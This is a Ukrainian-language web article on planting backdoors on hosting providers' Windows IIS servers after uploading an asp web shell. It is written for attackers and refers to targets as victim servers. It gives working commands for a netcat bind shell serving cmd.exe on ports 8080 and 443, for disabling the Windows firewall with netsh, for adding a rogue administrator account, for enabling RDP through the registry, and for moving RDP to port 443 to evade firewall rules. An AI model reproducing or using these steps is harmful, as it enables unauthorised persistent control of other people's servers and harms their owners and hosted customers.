Дослідження Windows-бекдорів - обхід файрвола постачальників веб-хостингу - Загальні статті - Каталог

Зараз на сайті: Тех підтримка -> -->

Ключовим завданням цього документа є обговорення бекдорів на хостингових Windows-серверах та обхід файрволів.

Останнім часом хакери шукають способи залишити бекдор на Windows-сервері, господарем якого є якийсь із найкращих хостинг-провайдерів. На цю тему було зроблено багато досліджень. Однак ключовим завданням цього документа є обговорення бекдорів на хостингових Windows-серверах та обхід файрволів.

Як правило, коли ми знаходимо вразливість на веб-сервері для Windows, ми намагаємося завантажити на нього asp/java-шелл. Після завантаження ми гуляємо папками та файлами веб-сервера, але найчастіше намагаємося залишити на ньому бекдор, щоб ми могли з'єднуватися з ним коли побажаємо без болю в відомому місці. Для цього нам потрібний доступ до команд. Для доступу до команд нам потрібно створити бекдор, при з'єднанні з яким видаватиметься командна оболонка. Для створення такого бекдор існує кілька способів.

Отримавши asp-шелл на Windows-сервері з IIS 6/IIS 5, ми намагаємося створити на ньому бекдор, проте через наявність файрвола наша спроба часто зазнає невдачі. Взагалі, за наявності файрвол досить складно з'єднатися з сервером або здійснювати над ним віддалений контроль.

Для створення бекдорів на Windows-серверах є кілька способів. Спочатку я покажу вам, як зробити бекдор за допомогою net cat. Завантажте netcat на віддалений комп'ютер і відкрийте для прослуховування порт, наприклад:

C:\>nc –l –p 8080 [на 192.168.9.2]

Тут ми відкрили порт 8080. Далі ми з'єднаємось із 192.168.9.2 через віддалену систему. Для цього нам потрібно встановити netcat на 192.168.9.2 та запустити інтерпретатор команд cmd. Ось команда, яку потрібно виконати на 192.168.9.2:

C:\>nc –l –p 8080 –e cmd.exe

C:\>telnet 192.168.9.2 8080

З'єднавшись, ви отримаєте командну оболонку та зможете встановити бекдор-з'єднання з цим сервером.

Отримавши доступ до командної оболонки, ви, якщо потрібно, можете вимкнути файрвол наступною командою:

C:\>netsh firewall set opmode disable

C:\Windows\System32\netsh.exe "firewall set opmode = DISABLE profile = ALL"

Існує також безліч інших опцій. Просто йдіть у командний рядок та введіть netsh help, щоб побачити все, що ви можете зробити за допомогою netsh. Якщо ваш комп'ютер є членом домену, ви повинні використовувати цю команду, щоб вимкнути режим домену та локальний режим:

netsh firewall set opmode mode = DISABLE profile = ALL

Тепер, якщо ви хочете встановити віддалене з'єднання через RDP, але служба віддаленого робочого столу вимкнена, ви можете включити її описаним далі способом.

Якщо потрібно створити нового користувача на сервері з правами адміністратора, скористайтеся наступними командами.

net user newuser1 newpassword /add net localgroup administrators newuser1 /add net user newuser1

Якщо після створення нового користувача ви захочете здійснити віддалене підключення до сервера жертви, вам потрібно буде увімкнути на сервері RDP.

Для увімкнення можливості RDP-з'єднань наберіть у командному рядку наступну команду:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Коли ви увімкнете службу RDP, можна встановити віддалене підключення до сервера жертви за протоколом RDP. Але в реальних умовах виявляється, що більшість постачальників веб-хостингу блокують RDP-з'єднання, тобто блокуютьвхідний трафік на порту 3389. Правила файрвола в цьому випадку виглядають так:

Allow traffic on 80, 443 Deny all * exception on 80 and 443*

Тож коли ми спробуємо встановити RDP-з'єднання із зовнішньої мережі, у нас нічого не вийде.

Існує кілька методів, які дозволяють обдурити файрвол шляхом запуску netcat на порту 443 або будь-якому іншому відкритому порту сервера. Нам потрібно запустити netcat на 443 порту лише тому, що файрвол пропускає трафік на ньому. Отже, нам потрібно з'єднатися з портом 443, оскільки трафік на даному порту дозволено (наприклад, https-трафік).

Щоб обійти файрвол, нам потрібно відкрити порт 443 для прослуховування. Ось відповідна команда:

C:\>nc –l –p 443 –e cmd.exe

Коли ми з'єднаємося з жертвою на порту 443 через telnet, ми отримаємо командну оболонку, яку файрвол не блокуватиме через те, що трафік йде через 443 порт.

Висновок: щоб спробувати зробити бекдор, ми можемо використовувати порти 80 та 443, де можна обійти файрвол та безпечно з'єднатися із сервером.

Даний знімок екрана показує, що ми з'єднуємось з 192.168.9.2 на порту 443 через telnet.

дослідження

Після з'єднання з 192.168.9.2 на порту 443 ми отримуємо в наше розпорядження командний рядок cmd.

файрвола

Якщо з'єднання було встановлено, то ми обійшли файрвол.

Коли нам потрібно встановити з'єднання RDP, все виглядає аналогічно. За замовчуванням RDP запущено на порту 3389, тому нам потрібно змусити його слухати порт 443 або будь-який інший, який не блокується файрволом. Якщо ви хочете змінити порт, що прослуховується, відредагуйте цей ключ реєстру:

\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP Value : PortNUmber REG_DWORD=443

Щобувімкнути Термінальний сервер/RDP, запустіть наступну команду:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

windows-бекдорів

Висновок: Ви можете створити бекдор для Windows-сервера на портах 80 і 443, на яких Firewall не фільтрує трафік (бо дозволяє http-і https-трафік). Ви також можете створювати з'єднання RDP на порту 443. Тобто, порт 3389 не обов'язково повинен бути відкритий, а RDP-з'єднання може обходити файрвол, коли порт 3389 блокується для зовнішніх з'єднань.